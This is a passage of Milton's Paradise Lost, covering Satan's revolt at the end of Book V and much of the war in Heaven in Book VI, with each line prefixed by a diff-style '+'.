sure +Of our Omnipotence, and with what arms +We mean to hold what anciently we claim +Of deity or empire: Such a foe +Is rising, who intends to erect his throne +Equal to ours, throughout the spacious north; +Nor so content, hath in his thought to try +In battle, what our power is, or our right. +Let us advise, and to this hazard draw +With speed what force is left, and all employ +In our defence; lest unawares we lose +This our high place, our sanctuary, our hill. +To whom the Son with calm aspect and clear, +Lightning divine, ineffable, serene, +Made answer. Mighty Father, thou thy foes +Justly hast in derision, and, secure, +Laughest at their vain designs and tumults vain, +Matter to me of glory, whom their hate +Illustrates, when they see all regal power +Given me to quell their pride, and in event +Know whether I be dextrous to subdue +Thy rebels, or be found the worst in Heaven. +So spake the Son; but Satan, with his Powers, +Far was advanced on winged speed; an host +Innumerable as the stars of night, +Or stars of morning, dew-drops, which the sun +Impearls on every leaf and every flower. +Regions they passed, the mighty regencies +Of Seraphim, and Potentates, and Thrones, +In their triple degrees; regions to which +All thy dominion, Adam, is no more +Than what this garden is to all the earth, +And all the sea, from one entire globose +Stretched into longitude; which having passed, +At length into the limits of the north +They came; and Satan to his royal seat +High on a hill, far blazing, as a mount +Raised on a mount, with pyramids and towers +From diamond quarries hewn, and rocks of gold; +The palace of great Lucifer, (so call +That structure in the dialect of men +Interpreted,) which not long after, he +Affecting all equality with God, +In imitation of that mount whereon +Messiah was declared in sight of Heaven, +The Mountain of the Congregation called; +For thither he assembled all his train, +Pretending so commanded to consult +About the great reception of their King, +Thither to come, and with calumnious art +Of counterfeited truth thus held their ears. +Thrones, Dominations, Princedoms, Virtues, Powers; +If these magnifick titles yet remain +Not merely titular, since by decree +Another now hath to himself engrossed +All power, and us eclipsed under the name +Of King anointed, for whom all this haste +Of midnight-march, and hurried meeting here, +This only to consult how we may best, +With what may be devised of honours new, +Receive him coming to receive from us +Knee-tribute yet unpaid, prostration vile! +Too much to one! but double how endured, +To one, and to his image now proclaimed? +But what if better counsels might erect +Our minds, and teach us to cast off this yoke? +Will ye submit your necks, and choose to bend +The supple knee? Ye will not, if I trust +To know ye right, or if ye know yourselves +Natives and sons of Heaven possessed before +By none; and if not equal all, yet free, +Equally free; for orders and degrees +Jar not with liberty, but well consist. +Who can in reason then, or right, assume +Monarchy over such as live by right +His equals, if in power and splendour less, +In freedom equal? or can introduce +Law and edict on us, who without law +Err not? much less for this to be our Lord, +And look for adoration, to the abuse +Of those imperial titles, which assert +Our being ordained to govern, not to serve. +Thus far his bold discourse without controul +Had audience; when among the Seraphim +Abdiel, than whom none with more zeal adored +The Deity, and divine commands obeyed, +Stood up, and in a flame of zeal severe +The current of his fury thus opposed. +O argument blasphemous, false, and proud! +Words which no ear ever to hear in Heaven +Expected, least of all from thee, Ingrate, +In place thyself so high above thy peers. +Canst thou with impious obloquy condemn +The just decree of God, pronounced and sworn, +That to his only Son, by right endued +With regal scepter, every soul in Heaven +Shall bend the knee, and in that honour due +Confess him rightful King? unjust, thou sayest, +Flatly unjust, to bind with laws the free, +And equal over equals to let reign, +One over all with unsucceeded power. +Shalt thou give law to God? shalt thou dispute +With him the points of liberty, who made +Thee what thou art, and formed the Powers of Heaven +Such as he pleased, and circumscribed their being? +Yet, by experience taught, we know how good, +And of our good and of our dignity +How provident he is; how far from thought +To make us less, bent rather to exalt +Our happy state, under one head more near +United. But to grant it thee unjust, +That equal over equals monarch reign: +Thyself, though great and glorious, dost thou count, +Or all angelick nature joined in one, +Equal to him begotten Son? by whom, +As by his Word, the Mighty Father made +All things, even thee; and all the Spirits of Heaven +By him created in their bright degrees, +Crowned them with glory, and to their glory named +Thrones, Dominations, Princedoms, Virtues, Powers, +Essential Powers; nor by his reign obscured, +But more illustrious made; since he the head +One of our number thus reduced becomes; +His laws our laws; all honour to him done +Returns our own. Cease then this impious rage, +And tempt not these; but hasten to appease +The incensed Father, and the incensed Son, +While pardon may be found in time besought. +So spake the fervent Angel; but his zeal +None seconded, as out of season judged, +Or singular and rash: Whereat rejoiced +The Apostate, and, more haughty, thus replied. +That we were formed then sayest thou? and the work +Of secondary hands, by task transferred +From Father to his Son? strange point and new! +Doctrine which we would know whence learned: who saw +When this creation was? rememberest thou +Thy making, while the Maker gave thee being? +We know no time when we were not as now; +Know none before us, self-begot, self-raised +By our own quickening power, when fatal course +Had circled his full orb, the birth mature +Of this our native Heaven, ethereal sons. +Our puissance is our own; our own right hand +Shall teach us highest deeds, by proof to try +Who is our equal: Then thou shalt behold +Whether by supplication we intend +Address, and to begirt the almighty throne +Beseeching or besieging. This report, +These tidings carry to the anointed King; +And fly, ere evil intercept thy flight. +He said; and, as the sound of waters deep, +Hoarse murmur echoed to his words applause +Through the infinite host; nor less for that +The flaming Seraph fearless, though alone +Encompassed round with foes, thus answered bold. +O alienate from God, O Spirit accursed, +Forsaken of all good! I see thy fall +Determined, and thy hapless crew involved +In this perfidious fraud, contagion spread +Both of thy crime and punishment: Henceforth +No more be troubled how to quit the yoke +Of God's Messiah; those indulgent laws +Will not be now vouchsafed; other decrees +Against thee are gone forth without recall; +That golden scepter, which thou didst reject, +Is now an iron rod to bruise and break +Thy disobedience. Well thou didst advise; +Yet not for thy advice or threats I fly +These wicked tents devoted, lest the wrath +Impendent, raging into sudden flame, +Distinguish not: For soon expect to feel +His thunder on thy head, devouring fire. +Then who created thee lamenting learn, +When who can uncreate thee thou shalt know. +So spake the Seraph Abdiel, faithful found +Among the faithless, faithful only he; +Among innumerable false, unmoved, +Unshaken, unseduced, unterrified, +His loyalty he kept, his love, his zeal; +Nor number, nor example, with him wrought +To swerve from truth, or change his constant mind, +Though single. From amidst them forth he passed, +Long way through hostile scorn, which he sustained +Superiour, nor of violence feared aught; +And, with retorted scorn, his back he turned +On those proud towers to swift destruction doomed. + + + +Book VI + + +All night the dreadless Angel, unpursued, +Through Heaven's wide champain held his way; till Morn, +Waked by the circling Hours, with rosy hand +Unbarred the gates of light. There is a cave +Within the mount of God, fast by his throne, +Where light and darkness in perpetual round +Lodge and dislodge by turns, which makes through Heaven +Grateful vicissitude, like day and night; +Light issues forth, and at the other door +Obsequious darkness enters, till her hour +To veil the Heaven, though darkness there might well +Seem twilight here: And now went forth the Morn +Such as in highest Heaven arrayed in gold +Empyreal; from before her vanished Night, +Shot through with orient beams; when all the plain +Covered with thick embattled squadrons bright, +Chariots, and flaming arms, and fiery steeds, +Reflecting blaze on blaze, first met his view: +War he perceived, war in procinct; and found +Already known what he for news had thought +To have reported: Gladly then he mixed +Among those friendly Powers, who him received +With joy and acclamations loud, that one, +That of so many myriads fallen, yet one +Returned not lost. On to the sacred hill +They led him high applauded, and present +Before the seat supreme; from whence a voice, +From midst a golden cloud, thus mild was heard. +Servant of God. Well done; well hast thou fought +The better fight, who single hast maintained +Against revolted multitudes the cause +Of truth, in word mightier than they in arms; +And for the testimony of truth hast borne +Universal reproach, far worse to bear +Than violence; for this was all thy care +To stand approved in sight of God, though worlds +Judged thee perverse: The easier conquest now +Remains thee, aided by this host of friends, +Back on thy foes more glorious to return, +Than scorned thou didst depart; and to subdue +By force, who reason for their law refuse, +Right reason for their law, and for their King +Messiah, who by right of merit reigns. +Go, Michael, of celestial armies prince, +And thou, in military prowess next, +Gabriel, lead forth to battle these my sons +Invincible; lead forth my armed Saints, +By thousands and by millions, ranged for fight, +Equal in number to that Godless crew +Rebellious: Them with fire and hostile arms +Fearless assault; and, to the brow of Heaven +Pursuing, drive them out from God and bliss, +Into their place of punishment, the gulf +Of Tartarus, which ready opens wide +His fiery Chaos to receive their fall. +So spake the Sovran Voice, and clouds began +To darken all the hill, and smoke to roll +In dusky wreaths, reluctant flames, the sign +Of wrath awaked; nor with less dread the loud +Ethereal trumpet from on high 'gan blow: +At which command the Powers militant, +That stood for Heaven, in mighty quadrate joined +Of union irresistible, moved on +In silence their bright legions, to the sound +Of instrumental harmony, that breathed +Heroick ardour to adventurous deeds +Under their God-like leaders, in the cause +Of God and his Messiah. On they move +Indissolubly firm; nor obvious hill, +Nor straitening vale, nor wood, nor stream, divides +Their perfect ranks; for high above the ground +Their march was, and the passive air upbore +Their nimble tread; as when the total kind +Of birds, in orderly array on wing, +Came summoned over Eden to receive +Their names of thee; so over many a tract +Of Heaven they marched, and many a province wide, +Tenfold the length of this terrene: At last, +Far in the horizon to the north appeared +From skirt to skirt a fiery region, stretched +In battailous aspect, and nearer view +Bristled with upright beams innumerable +Of rigid spears, and helmets thronged, and shields +Various, with boastful argument portrayed, +The banded Powers of Satan hasting on +With furious expedition; for they weened +That self-same day, by fight or by surprise, +To win the mount of God, and on his throne +To set the Envier of his state, the proud +Aspirer; but their thoughts proved fond and vain +In the mid way: Though strange to us it seemed +At first, that Angel should with Angel war, +And in fierce hosting meet, who wont to meet +So oft in festivals of joy and love +Unanimous, as sons of one great Sire, +Hymning the Eternal Father: But the shout +Of battle now began, and rushing sound +Of onset ended soon each milder thought. +High in the midst, exalted as a God, +The Apostate in his sun-bright chariot sat, +Idol of majesty divine, enclosed +With flaming Cherubim, and golden shields; +Then lighted from his gorgeous throne, for now +"twixt host and host but narrow space was left, +A dreadful interval, and front to front +Presented stood in terrible array +Of hideous length: Before the cloudy van, +On the rough edge of battle ere it joined, +Satan, with vast and haughty strides advanced, +Came towering, armed in adamant and gold; +Abdiel that sight endured not, where he stood +Among the mightiest, bent on highest deeds, +And thus his own undaunted heart explores. +O Heaven! that such resemblance of the Highest +Should yet remain, where faith and realty +Remain not: Wherefore should not strength and might +There fail where virtue fails, or weakest prove +Where boldest, though to fight unconquerable? +His puissance, trusting in the Almighty's aid, +I mean to try, whose reason I have tried +Unsound and false; nor is it aught but just, +That he, who in debate of truth hath won, +Should win in arms, in both disputes alike +Victor; though brutish that contest and foul, +When reason hath to deal with force, yet so +Most reason is that reason overcome. +So pondering, and from his armed peers +Forth stepping opposite, half-way he met +His daring foe, at this prevention more +Incensed, and thus securely him defied. +Proud, art thou met? thy hope was to have reached +The highth of thy aspiring unopposed, +The throne of God unguarded, and his side +Abandoned, at the terrour of thy power +Or potent tongue: Fool!not to think how vain +Against the Omnipotent to rise in arms; +Who out of smallest things could, without end, +Have raised incessant armies to defeat +Thy folly; or with solitary hand +Reaching beyond all limit, at one blow, +Unaided, could have finished thee, and whelmed +Thy legions under darkness: But thou seest +All are not of thy train; there be, who faith +Prefer, and piety to God, though then +To thee not visible, when I alone +Seemed in thy world erroneous to dissent +From all: My sect thou seest;now learn too late +How few sometimes may know, when thousands err. +Whom the grand foe, with scornful eye askance, +Thus answered. Ill for thee, but in wished hour +Of my revenge, first sought for, thou returnest +From flight, seditious Angel! to receive +Thy merited reward, the first assay +Of this right hand provoked, since first that tongue, +Inspired with contradiction, durst oppose +A third part of the Gods, in synod met +Their deities to assert; who, while they feel +Vigour divine within them, can allow +Omnipotence to none. But well thou comest +Before thy fellows, ambitious to win +From me some plume, that thy success may show +Destruction to the rest: This pause between, +(Unanswered lest thou boast) to let thee know, +At first I thought that Liberty and Heaven +To heavenly souls had been all one; but now +I see that most through sloth had rather serve, +Ministring Spirits, trained up in feast and song! +Such hast thou armed, the minstrelsy of Heaven, +Servility with freedom to contend, +As both their deeds compared this day shall prove. +To whom in brief thus Abdiel stern replied. +Apostate! still thou errest, nor end wilt find +Of erring, from the path of truth remote: +Unjustly thou depravest it with the name +Of servitude, to serve whom God ordains, +Or Nature: God and Nature bid the same, +When he who rules is worthiest, and excels +Them whom he governs. This is servitude, +To serve the unwise, or him who hath rebelled +Against his worthier, as thine now serve thee, +Thyself not free, but to thyself enthralled; +Yet lewdly darest our ministring upbraid. +Reign thou in Hell, thy kingdom; let me serve +In Heaven God ever blest, and his divine +Behests obey, worthiest to be obeyed; +Yet chains in Hell, not realms, expect: Mean while +From me returned, as erst thou saidst, from flight, +This greeting on thy impious crest receive. +So saying, a noble stroke he lifted high, +Which hung not, but so swift with tempest fell +On the proud crest of Satan, that no sight, +Nor motion of swift thought, less could his shield, +Such ruin intercept: Ten paces huge +He back recoiled; the tenth on bended knee +His massy spear upstaid; as if on earth +Winds under ground, or waters forcing way, +Sidelong had pushed a mountain from his seat, +Half sunk with all his pines. Amazement seised +The rebel Thrones, but greater rage, to see +Thus foiled their mightiest; ours joy filled, and shout, +Presage of victory, and fierce desire +Of battle: Whereat Michael bid sound +The Arch-Angel trumpet; through the vast of Heaven +It sounded, and the faithful armies rung +Hosanna to the Highest: Nor stood at gaze +The adverse legions, nor less hideous joined +The horrid shock. Now storming fury rose, +And clamour such as heard in Heaven till now +Was never; arms on armour clashing brayed +Horrible discord, and the madding wheels +Of brazen chariots raged; dire was the noise +Of conflict; over head the dismal hiss +Of fiery darts in flaming vollies flew, +And flying vaulted either host with fire. +So under fiery cope together rushed +Both battles main, with ruinous assault +And inextinguishable rage. All Heaven +Resounded; and had Earth been then, all Earth +Had to her center shook. What wonder? when +Millions of fierce encountering Angels fought +On either side, the least of whom could wield +These elements, and arm him with the force +Of all their regions: How much more of power +Army against army numberless to raise +Dreadful combustion warring, and disturb, +Though not destroy, their happy native seat; +Had not the Eternal King Omnipotent, +From his strong hold of Heaven, high over-ruled +And limited their might; though numbered such +As each divided legion might have seemed +A numerous host; in strength each armed hand +A legion; led in fight, yet leader seemed +Each warriour single as in chief, expert +When to advance, or stand, or turn the sway +Of battle, open when, and when to close +The ridges of grim war: No thought of flight, +None of retreat, no unbecoming deed +That argued fear; each on himself relied, +As only in his arm the moment lay +Of victory: Deeds of eternal fame +Were done, but infinite; for wide was spread +That war and various; sometimes on firm ground +A standing fight, then, soaring on main wing, +Tormented all the air; all air seemed then +Conflicting fire. Long time in even scale +The battle hung; till Satan, who that day +Prodigious power had shown, and met in arms +No equal, ranging through the dire attack +Of fighting Seraphim confused, at length +Saw where the sword of Michael smote, and felled +Squadrons at once; with huge two-handed sway +Brandished aloft, the horrid edge came down +Wide-wasting; such destruction to withstand +He hasted, and opposed the rocky orb +Of tenfold adamant, his ample shield, +A vast circumference. At his approach +The great Arch-Angel from his warlike toil +Surceased, and glad, as hoping here to end +Intestine war in Heaven, the arch-foe subdued +Or captive dragged in chains, with hostile frown +And visage all inflamed first thus began. +Author of evil, unknown till thy revolt, +Unnamed in Heaven, now plenteous as thou seest +These acts of hateful strife, hateful to all, +Though heaviest by just measure on thyself, +And thy adherents: How hast thou disturbed +Heaven's blessed peace, and into nature brought +Misery, uncreated till the crime +Of thy rebellion! how hast thou instilled +Thy malice into thousands, once upright +And faithful, now proved false! But think not here +To trouble holy rest; Heaven casts thee out +From all her confines. Heaven, the seat of bliss, +Brooks not the works of violence and war. +Hence then, and evil go with thee along, +Thy offspring, to the place of evil, Hell; +Thou and thy wicked crew! there mingle broils, +Ere this avenging sword begin thy doom, +Or some more sudden vengeance, winged from God, +Precipitate thee with augmented pain. +So spake the Prince of Angels; to whom thus +The Adversary. Nor think thou with wind +Of aery threats to awe whom yet with deeds +Thou canst not. Hast thou turned the least of these +To flight, or if to fall, but that they rise +Unvanquished, easier to transact with me +That thou shouldst hope, imperious, and with threats +To chase me hence? err not, that so shall end +The strife which thou callest evil, but we style +The strife of glory; which we mean to win, +Or turn this Heaven itself into the Hell +Thou fablest; here however to dwell free, +If not to reign: Mean while thy utmost force, +And join him named Almighty to thy aid, +I fly not, but have sought thee far and nigh. +They ended parle, and both addressed for fight +Unspeakable; for who, though with the tongue +Of Angels, can relate, or to what things +Liken on earth conspicuous, that may lift +Human imagination to such highth +Of Godlike power? for likest Gods they seemed, +Stood they or moved, in stature, motion, arms, +Fit to decide the empire of great Heaven. +Now waved their fiery swords, and in the air +Made horrid circles; two broad suns their shields +Blazed opposite, while Expectation stood +In horrour: From each hand with speed retired, +Where erst was thickest fight, the angelick throng, +And left large field, unsafe within the wind +Of such commotion; such as, to set forth +Great things by small, if, nature's concord broke, +Among the constellations war were sprung, +Two planets, rushing from aspect malign +Of fiercest opposition, in mid sky +Should combat, and their jarring spheres confound. +Together both with next to almighty arm +Up-lifted imminent, one stroke they aimed +That might determine, and not need repeat, +As not of power at once; nor odds appeared +In might or swift prevention: But the sword +Of Michael from the armoury of God +Was given him tempered so, that neither keen +Nor solid might resist that edge: it met +The sword of Satan, with steep force to smite +Descending, and in half cut sheer; nor staid, +But with swift wheel reverse, deep entering, shared +All his right side: Then Satan first knew pain, +And writhed him to and fro convolved; so sore +The griding sword with discontinuous wound +Passed through him: But the ethereal substance closed, +Not long divisible; and from the gash +A stream of necturous humour issuing flowed +Sanguine, such as celestial Spirits may bleed, +And all his armour stained, ere while so bright. +Forthwith on all sides to his aid was run +By Angels many and strong, who interposed +Defence, while others bore him on their shields +Back to his chariot, where it stood retired +From off the files of war: There they him laid +Gnashing for anguish, and despite, and shame, +To find himself not matchless, and his pride +Humbled by such rebuke, so far beneath +His confidence to equal God in power. +Yet soon he healed; for Spirits that live throughout +Vital in every part, not as frail man +In entrails, heart of head, liver or reins, +Cannot but by annihilating die; +Nor in their liquid texture mortal wound +Receive, no more than can the fluid air: +All heart they live, all head, all eye, all ear, +All intellect, all sense; and, as they please, +They limb themselves, and colour, shape, or size +Assume, as?kikes them best, condense or rare. +Mean while in other parts like deeds deserved +Memorial, where the might of Gabriel fought, +And with fierce ensigns pierced the deep array +Of Moloch, furious king; who him defied, +And at his chariot-wheels to drag him bound +Threatened, nor from the Holy One of Heaven +Refrained his tongue blasphemous; but anon +Down cloven to the waist, with shattered arms +And uncouth pain fled bellowing. On each wing +Uriel, and Raphael, his vaunting foe, +Though huge, and in a rock of diamond armed, +Vanquished Adramelech, and Asmadai, +Two potent Thrones, that to be less than Gods +Disdained, but meaner thoughts learned in their flight, +Mangled with ghastly wounds through plate and mail. +Nor stood unmindful Abdiel to annoy +The atheist crew, but with redoubled blow +Ariel, and Arioch, and the violence +Of Ramiel scorched and blasted, overthrew. +I might relate of thousands, and their names +Eternize here on earth; but those elect +Angels, contented with their fame in Heaven, +Seek not the praise of men: The other sort, +In might though wonderous and in acts of war, +Nor of renown less eager, yet by doom +Cancelled from Heaven and sacred memory, +Nameless in dark oblivion let them dwell. +For strength from truth divided, and from just, +Illaudable, nought merits but dispraise +And ignominy; yet to glory aspires +Vain-glorious, and through infamy seeks fame: +Therefore eternal silence be their doom. +And now, their mightiest quelled, the battle swerved, +With many an inroad gored; deformed rout +Entered, and foul disorder; all the ground +With shivered armour strown, and on a heap +Chariot and charioteer lay overturned, +And fiery-foaming steeds; what stood, recoiled +O'er-wearied, through the faint Satanick host +Defensive scarce, or with pale fear surprised, +Then first with fear surprised, and sense of pain, +Fled ignominious, to such evil brought +By sin of disobedience; till that hour +Not liable to fear, or flight, or pain. +Far otherwise the inviolable Saints, +In cubick phalanx firm, advanced entire, +Invulnerable, impenetrably armed; +Such high advantages their innocence +Gave them above their foes; not to have sinned, +Not to have disobeyed; in fight they stood +Unwearied, unobnoxious to be pained +By wound, though from their place by violence moved, +Now Night her course began, and, over Heaven +Inducing darkness, grateful truce imposed, +And silence on the odious din of war: +Under her cloudy covert both retired, +Victor and vanquished: On the foughten field +Michael and his Angels prevalent +Encamping, placed in guard their watches round, +Cherubick waving fires: On the other part, +Satan with his rebellious disappeared, +Far in the dark dislodged; and, void of rest, +His potentates to council called by night; +And in the midst thus undismayed began. +O now in danger tried, now known in arms +Not to be overpowered, Companions dear, +Found worthy not of liberty alone, +Too mean pretence! but what we more affect, +Honour, dominion, glory, and renown; +Who have sustained one day in doubtful fight, +(And if one day, why not eternal days?) +What Heaven's Lord had powerfullest to send +Against us from about his throne, and judged +Sufficient to subdue us to his will, +But proves not so: Then fallible, it seems, +Of future we may deem him, though till now +Omniscient thought. True is, less firmly armed, +Some disadvantage we endured and pain, +Till now not known, but, known, as soon contemned; +Since now we find this our empyreal form +Incapable of mortal injury, +Imperishable, and, though pierced with wound, +Soon closing, and by native vigour healed. +Of evil then so small as easy think +The remedy; perhaps more valid arms, +Weapons more violent, when next we meet, +May serve to better us, and worse our foes, +Or equal what between us made the odds, +In nature none: If other hidden cause +Left them superiour, while we can preserve +Unhurt our minds, and understanding sound, +Due search and consultation will disclose. +He sat; and in the assembly next upstood +Nisroch, of Principalities the prime; +As one he stood escaped from cruel fight, +Sore toiled, his riven arms to havock hewn, +And cloudy in aspect thus answering spake. +Deliverer from new Lords, leader to free +Enjoyment of our right as Gods; yet hard +For Gods, and too unequal work we find, +Against unequal arms to fight in pain, +Against unpained, impassive; from which evil +Ruin must needs ensue; for what avails +Valour or strength, though matchless, quelled with pain +Which all subdues, and makes remiss the hands +Of mightiest? Sense of pleasure we may well +Spare out of life perhaps, and not repine, +But live content, which is the calmest life: +But pain is perfect misery, the worst +Of evils, and, excessive, overturns +All patience. He, who therefore can invent +With what more forcible we may offend +Our yet unwounded enemies, or arm +Ourselves with like defence, to me deserves +No less than for deliverance what we owe. +Whereto with look composed Satan replied. +Not uninvented that, which thou aright +Believest so main to our success, I bring. +Which of us who beholds the bright surface +Of this ethereous mould whereon we stand, +This continent of spacious Heaven, adorned +With plant, fruit, flower ambrosial, gems, and gold; +Whose eye so superficially surveys +These things, as not to mind from whence they grow +Deep under ground, materials dark and crude, +Of spiritous and fiery spume, till touched +With Heaven's ray, and tempered, they shoot forth +So beauteous, opening to the ambient light? +These in their dark nativity the deep +Shall yield us, pregnant with infernal flame; +Which, into hollow engines, long and round, +Thick rammed, at the other bore with touch of fire +Dilated and infuriate, shall send forth +From far, with thundering noise, among our foes +Such implements of mischief, as shall dash +To pieces, and o'erwhelm whatever stands +Adverse, that they shall fear we have disarmed +The Thunderer of his only dreaded bolt. +Nor long shall be our labour; yet ere dawn, +Effect shall end our wish. Mean while revive; +Abandon fear; to strength and counsel joined +Think nothing hard, much less to be despaired. +He ended, and his words their drooping cheer +Enlightened, and their languished hope revived. +The invention all admired, and each, how he +To be the inventer missed; so easy it seemed +Once found, which yet unfound most would have thought +Impossible: Yet, haply, of thy race +In future days, if malice should abound, +Some one intent on mischief, or inspired +With devilish machination, might devise +Like instrument to plague the sons of men +For sin, on war and mutual slaughter bent. +Forthwith from council to the work they flew; +None arguing stood; innumerable hands +Were ready; in a moment up they turned +Wide the celestial soil, and saw beneath +The originals of nature in their crude +Conception; sulphurous and nitrous foam +They found, they mingled, and, with subtle art, +Concocted and adusted they reduced +To blackest grain, and into store conveyed: +Part hidden veins digged up (nor hath this earth +Entrails unlike) of mineral and stone, +Whereof to found their engines and their balls +Of missive ruin; part incentive reed +Provide, pernicious with one touch to fire. +So all ere day-spring, under conscious night, +Secret they finished, and in order set, +With silent circumspection, unespied. +Now when fair morn orient in Heaven appeared, +Up rose the victor-Angels, and to arms +The matin trumpet sung: In arms they stood +Of golden panoply, refulgent host, +Soon banded; others from the dawning hills +Look round, and scouts each coast light-armed scour, +Each quarter to descry the distant foe, +Where lodged, or whither fled, or if for fight, +In motion or in halt: Him soon they met +Under spread ensigns moving nigh, in slow +But firm battalion; back with speediest sail +Zophiel, of Cherubim the swiftest wing, +Came flying, and in mid air aloud thus cried. +Arm, Warriours, arm for fight; the foe at hand, +Whom fled we thought, will save us long pursuit +This day; fear not his flight;so thick a cloud +He comes, and settled in his face I see +Sad resolution, and secure: Let each +His adamantine coat gird well, and each +Fit well his helm, gripe fast his orbed shield, +Borne even or high; for this day will pour down, +If I conjecture aught, no drizzling shower, +But rattling storm of arrows barbed with fire. +So warned he them, aware themselves, and soon +In order, quit of all impediment; +Instant without disturb they took alarm, +And onward moved embattled: When behold! +Not distant far with heavy pace the foe +Approaching gross and huge, in hollow cube +Training his devilish enginery, impaled +On every side with shadowing squadrons deep, +To hide the fraud. At interview both stood +A while; but suddenly at head appeared +Satan, and thus was heard commanding loud. +Vanguard, to right and left the front unfold; +That all may see who hate us, how we seek +Peace and composure, and with open breast +Stand ready to receive them, if they like +Our overture; and turn not back perverse: +But that I doubt; however witness, Heaven! +Heaven, witness thou anon! while we discharge +Freely our part: ye, who appointed stand +Do as you have in charge, and briefly touch +What we propound, and loud that all may hear! +So scoffing in ambiguous words, he scarce +Had ended; when to right and left the front +Divided, and to either flank retired: +Which to our eyes discovered, new and strange, +A triple mounted row of pillars laid +On wheels (for like to pillars most they seemed, +Or hollowed bodies made of oak or fir, +With branches lopt, in wood or mountain felled,) +Brass, iron, stony mould, had not their mouths +With hideous orifice gaped on us wide, +Portending hollow truce: At each behind +A Seraph stood, and in his hand a reed +Stood waving tipt with fire; while we, suspense, +Collected stood within our thoughts amused, +Not long; for sudden all at once their reeds +Put forth, and to a narrow vent applied +With nicest touch. Immediate in a flame, +But soon obscured with smoke, all Heaven appeared, +From those deep-throated engines belched, whose roar +Embowelled with outrageous noise the air, +And all her entrails tore, disgorging foul +Their devilish glut, chained thunderbolts and hail +Of iron globes; which, on the victor host +Levelled, with such impetuous fury smote, +That, whom they hit, none on their feet might stand, +Though standing else as rocks, but down they fell +By thousands, Angel on Arch-Angel rolled; +The sooner for their arms; unarmed, they might +Have easily, as Spirits, evaded swift +By quick contraction or remove; but now +Foul dissipation followed, and forced rout; +Nor served it to relax their serried files. +What should they do? if on they rushed, repulse +Repeated, and indecent overthrow +Doubled, would render them yet more despised, +And to their foes a laughter; for in view +Stood ranked of Seraphim another row, +In posture to displode their second tire +Of thunder: Back defeated to return +They worse abhorred. Satan beheld their plight, +And to his mates thus in derision called. +O Friends! why come not on these victors proud +Ere while they fierce were coming; and when we, +To entertain them fair with open front +And breast, (what could we more?) propounded terms +Of composition, straight they changed their minds, +Flew off, and into strange vagaries fell, +As they would dance; yet for a dance they seemed +Somewhat extravagant and wild; perhaps +For joy of offered peace: But I suppose, +If our proposals once again were heard, +We should compel them to a quick result. +To whom thus Belial, in like gamesome mood. +Leader! the terms we sent were terms of weight, +Of hard contents, and full of force urged home; +Such as we might perceive amused them all, +And stumbled many: Who receives them right, +Had need from head to foot well understand; +Not understood, this gift they have besides, +They show us when our foes walk not upright. +So they among themselves in pleasant vein +Stood scoffing, hightened in their thoughts beyond +All doubt of victory: Eternal Might +To match with their inventions they presumed +So easy, and of his thunder made a scorn, +And all his host derided, while they stood +A while in trouble: But they stood not long; +Rage prompted them at length, and found them arms +Against such hellish mischief fit to oppose. +Forthwith (behold the excellence, the power, +Which God hath in his mighty Angels placed!) +Their arms away they threw, and to the hills +(For Earth hath this variety from Heaven +Of pleasure situate in hill and dale,) +Light as the lightning glimpse they ran, they flew; +From their foundations loosening to and fro, +They plucked the seated hills, with all their load, +Rocks, waters, woods, and by the shaggy tops +Up-lifting bore them in their hands: Amaze, +Be sure, and terrour, seized the rebel host, +When coming towards them so dread they saw +The bottom of the mountains upward turned; +Till on those cursed engines' triple-row +They saw them whelmed, and all their confidence +Under the weight of mountains buried deep; +Themselves invaded next, and on their heads +Main promontories flung, which in the air +Came shadowing, and oppressed whole legions armed; +Their armour helped their harm, crushed in and bruised +Into their substance pent, which wrought them pain +Implacable, and many a dolorous groan; +Long struggling underneath, ere they could wind +Out of such prison, though Spirits of purest light, +Purest at first, now gross by sinning grown. +The rest, in imitation, to like arms +Betook them, and the neighbouring hills uptore: +So hills amid the air encountered hills, +Hurled to and fro with jaculation dire; +That under ground they fought in dismal shade; +Infernal noise! war seemed a civil game +To this uproar; horrid confusion heaped +Upon confusion rose: And now all Heaven +Had gone to wrack, with ruin overspread; +Had not the Almighty Father, where he sits +Shrined in his sanctuary of Heaven secure, +Consulting on the sum of things, foreseen +This tumult, and permitted all, advised: +That his great purpose he might so fulfil, +To honour his anointed Son avenged +Upon his enemies, and to declare +All power on him transferred: Whence to his Son, +The Assessour of his throne, he thus began. +Effulgence of my glory, Son beloved, +Son, in whose face invisible is beheld +Visibly, what by Deity I am; +And in whose hand what by decree I do, +Second Omnipotence! two days are past, +Two days, as we compute the days of Heaven, +Since Michael and his Powers went forth to tame +These disobedient: Sore hath been their fight, +As likeliest was, when two such foes met armed; +For to themselves I left them; and thou knowest, +Equal in their creation they were formed, +Save what sin hath impaired; which yet hath wrought +Insensibly, for I suspend their doom; +Whence in perpetual fight they needs must last +Endless, and no solution will be found: +War wearied hath performed what war can do, +And to disordered rage let loose the reins +With mountains, as with weapons, armed; which makes +Wild work in Heaven, and dangerous to the main. +Two days are therefore past, the third is thine; +For thee I have ordained it; and thus far +Have suffered, that the glory may be thine +Of ending this great war, since none but Thou +Can end it. Into thee such virtue and grace +Immense I have transfused, that all may know +In Heaven and Hell thy power above compare; +And, this perverse commotion governed thus, +To manifest thee worthiest to be Heir +Of all things; to be Heir, and to be King +By sacred unction, thy deserved right. +Go then, Thou Mightiest, in thy Father's might; +Ascend my chariot, guide the rapid wheels +That shake Heaven's basis, bring forth all my war, +My bow and thunder, my almighty arms +Gird on, and sword upon thy puissant thigh; +Pursue these sons of darkness, drive them out +From all Heaven's bounds into the utter deep: +There let them learn, as likes them, to despise +God, and Messiah his anointed King. +He said, and on his Son with rays direct +Shone full; he all his Father full expressed +Ineffably into his face received; +And thus the Filial Godhead answering spake. +O Father, O Supreme of heavenly Thrones, +First, Highest, Holiest, Best; thou always seek'st +To glorify thy Son, I always thee, +As is most just: This I my glory account, +My exaltation, and my whole delight, +That thou, in me well pleased, declarest thy will +Fulfilled, which to fulfil is all my bliss. +Scepter and power, thy giving, I assume, +And gladlier shall resign, when in the end +Thou shalt be all in all, and I in thee +For ever; and in me all whom thou lovest: +But whom thou hatest, I hate, and can put on +Thy terrours, as I put thy mildness on, +Image of thee in all things; and shall soon, +Armed with thy might, rid Heaven of these rebelled; +To their prepared ill mansion driven down, +To chains of darkness, and the undying worm; +That from thy just obedience could revolt, +Whom to obey is happiness entire. +Then shall thy Saints unmixed, and from the impure +Far separate, circling thy holy mount, +Unfeigned Halleluiahs to thee sing, +Hymns of high praise, and I among them Chief. +So said, he, o'er his scepter bowing, rose +From the right hand of Glory where he sat; +And the third sacred morn began to shine, +Dawning through Heaven. Forth rushed with whirlwind sound +The chariot of Paternal Deity, +Flashing thick flames, wheel 